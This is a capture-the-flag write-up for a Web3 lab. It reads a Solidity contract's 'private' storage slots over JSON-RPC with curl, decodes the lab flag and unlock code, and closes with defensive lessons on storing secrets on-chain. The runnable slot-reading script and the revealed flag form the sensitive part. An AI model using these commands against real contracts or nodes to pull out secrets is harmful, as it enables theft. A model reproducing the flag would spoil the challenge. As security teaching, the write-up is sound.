PassCode
Read a deployed Ethereum smart contract's supposedly private storage directly via JSON-RPC — no wallet, no transaction, no specialised tooling required — and recover a flag that was never meant to leave the chain.
Objective #
A smart contract has been deployed on a private Ethereum-compatible
node. The contract stores a flag in a private state
variable and only exposes it through getFlag(), which
requires the caller to have first solved the challenge on-chain.
The objective is to recover the flag without satisfying
isSolved() — by reading contract storage directly.
On any reachable Ethereum node, every byte of contract storage is
observable. Solidity's private keyword restricts
ABI-level access; it does not encrypt or hide data from the node.
A flag stored in contract state is never truly secret.
Skills Tested #
The challenge is intentionally lean on surface area. The real depth is in understanding why Solidity visibility does not confer confidentiality, and how EVM storage encoding makes raw slot reads a reliable exploitation primitive.
Attack Flow #
Query /challenge endpoint
(contract address, RPC URL, wallet)
|
v
Confirm web frontend exists
(Vite SPA — largely ornamental)
|
v
Extract route strings from JS bundle
→ discover /challenge/source
|
v
GET /challenge/source
→ base64-decode → Solidity source
|
v
Map state variable declaration order
to storage slot indices (0x0–0x3)
|
v
POST eth_getStorageAt for each slot
to the exposed JSON-RPC node
|
v
Decode raw slot values
├── 0x0 → secret → THM{web3_h4ck1ng_code}
├── 0x1 → unlock_flag → false
├── 0x2 → code → 333
└── 0x3 → hint_text → "The code is 333"
The frontend was only a distribution mechanism for connection
metadata. The blockchain node was the authoritative evidence source.
Pivoting directly to eth_getStorageAt bypassed every
layer of intended access control.
Methodology #
1 · Establish the Attack Surface
The Action
Query both the challenge API and the web root to determine which component holds the authoritative state.
curl -s "http://10.67.139.223/challenge"
curl -s "http://10.67.139.223/"
The Why
A Web3 challenge typically operates on two planes: a convenience layer (HTTP API or frontend) that hands out connection details, and a blockchain node that holds the actual state. If the API returns a contract address and a funded wallet, the core logic is almost certainly on-chain. Identifying this split early prevents wasting effort on the wrong component.
The Findings
The /challenge endpoint returned the critical metadata:
{
"name": "blockchain",
"description": "Goal: have the isSolved() function return true",
"status": "DEPLOYED",
"blockTime": 0,
"rpc_url": "http://geth:8545",
"player_wallet": {
"address": "0xf6fe49FDa4146b467128f4525772E06936095518",
"private_key": "0x",
"balance": "1.0 ETH"
},
"contract_address": "0xf22cB0Ca047e88AC996c17683Cee290518093574"
}
The web root was a Vite-bundled single-page application shell — functional as a UI but holding no authoritative state.
In mixed web/blockchain labs, never confuse the presentation layer with the authority layer. The frontend hands out keys; the node holds the truth.
2 · Enumerate Routes and Retrieve the Contract Source
The Action
Extract route strings from the bundled JavaScript, then directly request the most promising endpoint.
curl -s "http://10.67.139.223/assets/index-9ec22451.js" \
| grep -oE "/[A-Za-z0-9_./-]+" | sort -u
curl -s "http://10.67.139.223/challenge/source"
The Why
Single-page applications routinely embed their API surface in the
client bundle. Even minified output retains route fragments. In
challenge infrastructure, endpoints like /source,
/solve, and /reset are standard patterns
worth testing directly.
The Findings
The bundle surfaced four useful routes: /challenge,
/challenge/reset, /challenge/solve, and
/challenge/source.
/challenge/source returned a base64-encoded blob. After
decoding, the full Solidity contract was visible:
curl -s "http://10.67.139.223/challenge/source" \
| jq -r '.[0]' | base64 -d
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
contract Challenge {
string private secret = "THM{}";
bool private unlock_flag = false;
uint256 private code;
string private hint_text;
constructor(string memory flag, string memory challenge_hint, uint256 challenge_code) {
secret = flag;
code = challenge_code;
hint_text = challenge_hint;
}
function hint() external view returns (string memory) { return hint_text; }
function unlock(uint256 input) external returns (bool) {
if (input == code) { unlock_flag = true; return true; }
return false;
}
function isSolved() external view returns (bool) { return unlock_flag; }
function getFlag() external view returns (string memory) {
require(unlock_flag, "Challenge not solved yet");
return secret;
}
}
The source confirmed four state variables in declaration order:
secret (slot 0), unlock_flag (slot 1),
code (slot 2), hint_text (slot 3).
The source endpoint removed all uncertainty about the storage layout
— but it did not create the vulnerability. The vulnerability
is storing secrets on-chain at all.
3 · Read Raw Contract Storage via JSON-RPC
The Action
Query the node directly using eth_getStorageAt for
slots 0x0 through 0x3. No wallet signature or transaction is needed
— storage reads are free, unauthenticated, and synchronous.
CONTRACT="0xf22cB0Ca047e88AC996c17683Cee290518093574"
RPC="http://10.67.139.223:8545"
for slot in 0x0 0x1 0x2 0x3; do
echo -n "Slot $slot: "
curl -s -X POST "$RPC" \
-H "Content-Type: application/json" \
--data "{\"jsonrpc\":\"2.0\",\"method\":\"eth_getStorageAt\",
\"params\":[\"$CONTRACT\",\"$slot\",\"latest\"],\"id\":1}" \
| jq -r '.result'
done
The Why
Once the storage layout is known, eth_getStorageAt
is the most direct path to the data. It requires only the contract
address and the slot index. No ABI, no wallet, no transaction fees.
The node cannot distinguish a "legitimate" storage read from an
attacker's — the RPC method is unconditionally available.
The Findings
| Slot | Raw Value |
|---|---|
| 0x0 | 0x54484d7b776562335f6834636b316e675f636f64657d0000000000000000002c |
| 0x1 | 0x0000000000000000000000000000000000000000000000000000000000000000 |
| 0x2 | 0x000000000000000000000000000000000000000000000000000000000000014d |
| 0x3 | 0x54686520636f646520697320333333000000000000000000000000000000001e |
If the layout is known and the node is reachable, exploitation
collapses to a deterministic decoding exercise. No guessing,
no brute force, no tooling dependency beyond curl.
4 · Decode the Storage Values
The Action
Interpret each slot according to Solidity's storage encoding rules:
short-string inline encoding for string types, and
big-endian integer for uint256.
The Why
For strings of 31 bytes or fewer, Solidity stores the string bytes
left-aligned (most-significant side) in the 32-byte slot, with the
least-significant byte acting as a length marker equal to
length × 2. Knowing this rule makes decoding
mechanical: read the trailing byte, halve it for the byte count,
then convert the leading bytes from hex to ASCII.
The Findings
| Slot | Variable | Trailing byte | Length | Decoded value |
|---|---|---|---|---|
| 0x0 | secret | 0x2c (44 ÷ 2 = 22) |
22 bytes | THM{web3_h4ck1ng_code} |
| 0x1 | unlock_flag | — | — | false |
| 0x2 | code | — | — | 0x14d = 333 |
| 0x3 | hint_text | 0x1e (30 ÷ 2 = 15) |
15 bytes | The code is 333 |
The flag was recovered without ever calling unlock()
or satisfying isSolved(). The secret was readable
through passive observation alone — exactly the failure mode
this room is designed to demonstrate.
Rabbit Holes & Pivots #
Missing Smart Contract Tooling
cast, node, python, and
rg were all absent from the environment. Standard Web3
workflows that depend on Foundry or ethers.js were not available.
Assuming exploitation depends on a preferred tool rather than the
underlying protocol. eth_getStorageAt is raw HTTP POST
JSON — curl is sufficient.
Bundle-First Analysis Was Noisy
The minified Vite bundle produced large, low-signal output. It was
useful only for extracting candidate route strings, not as a primary
evidence source. The pivot to /challenge/source was
cleaner and more direct.
Non-Productive Auxiliary Endpoints
/robots.txt, /info, and
/challenge/solve all returned errors or status messages
with no actionable intelligence. They were eliminated quickly and not
revisited.
Deep Dives #
Why private in Solidity Does Not Mean Secret
private is a visibility modifier, not a
confidentiality mechanism. It prevents other contracts from calling
auto-generated getters and prevents inherited contracts from
referencing the variable by name. It does nothing to the underlying
storage bytes on the node.
| Modifier | What it actually does | What it does not do |
|---|---|---|
| private | Blocks ABI-level access from other contracts | Encrypt or hide storage bytes |
| internal | Limits access to the contract and derived contracts | Hide bytecode or storage |
| public | Generates a getter function automatically | Change underlying storage behaviour |
Any full node stores the complete contract state and will serve any
slot on request via eth_getStorageAt. There is no
authentication on this RPC method. "Private on-chain" is an oxymoron
unless the secret is encrypted off-chain before storage, and the
decryption key never touches the chain.
Solidity Short-String Storage Encoding
Solidity allocates state variables to 32-byte slots in declaration order, subject to packing rules. For strings of 31 bytes or fewer, the ABI stores the data inline within the slot:
- String bytes are placed left-aligned (bytes 0–N of the slot).
- Remaining bytes are zero-padded.
- The final (least-significant) byte holds
length × 2.
For longer strings, the slot contains length × 2 + 1
and the actual bytes live at keccak256(slot). The odd
low bit is the distinguishing marker. In this challenge, both strings
were short, so the data was entirely within the slot itself.
Defensive Lessons #
If a value must remain secret, it must not exist on-chain in recoverable plaintext form. Full stop.
- Do not store secrets in contract state. Flags, passwords, unlock codes, and API tokens stored as plaintext variables are universally readable, regardless of their Solidity visibility modifier.
-
Use commitments or off-chain verification. Store
keccak256(secret)on-chain and verify submissions against the hash. Keep the plaintext off-chain. -
Treat
privateas encapsulation only. It is a Solidity-level concept, not a security boundary at the node level. - Restrict RPC exposure. Binding the node to localhost or requiring authentication will not make on-chain secrets safe, but it reduces the attack surface for casual enumeration and buys detection time.
-
Audit for read-only compromise. If a secret can
be stolen without mutating state,
isSolved()will never flip — the attacker has what they need and leaves no trace.
| Bad Pattern | Better Pattern |
|---|---|
| Store plaintext flag in contract storage | Store a hash; verify off-chain |
| Store unlock code in state | Verify a signature or zero-knowledge proof |
Assume private hides data |
Assume every storage byte is publicly observable |
Expose /challenge/source in production |
Minimise intelligence leakage from convenience endpoints |
Clean Reproduction Path #
The following is the minimal, noise-free command sequence that reproduces the exploit from scratch.
API_URL="http://10.67.139.223"
RPC_URL="http://10.67.139.223:8545"
# 1. Retrieve challenge metadata
CHAL=$(curl -s "$API_URL/challenge")
CONTRACT=$(printf '%s' "$CHAL" | jq -r '.contract_address')
# 2. Retrieve and decode the Solidity source
curl -s "$API_URL/challenge/source" | jq -r '.[0]' | base64 -d
# 3. Read raw storage slots
for slot in 0x0 0x1 0x2 0x3; do
echo -n "Slot $slot: "
curl -s -X POST "$RPC_URL" \
-H "Content-Type: application/json" \
--data "{\"jsonrpc\":\"2.0\",\"method\":\"eth_getStorageAt\",
\"params\":[\"$CONTRACT\",\"$slot\",\"latest\"],\"id\":1}" \
| jq -r '.result'
done
# 4. Decode results:
# Slot 0x0 trailing byte 0x2c -> 22 bytes -> THM{web3_h4ck1ng_code}
# Slot 0x2 -> 0x14d -> 333 (the unlock code, if needed)
# Slot 0x3 trailing byte 0x1e -> 15 bytes -> "The code is 333"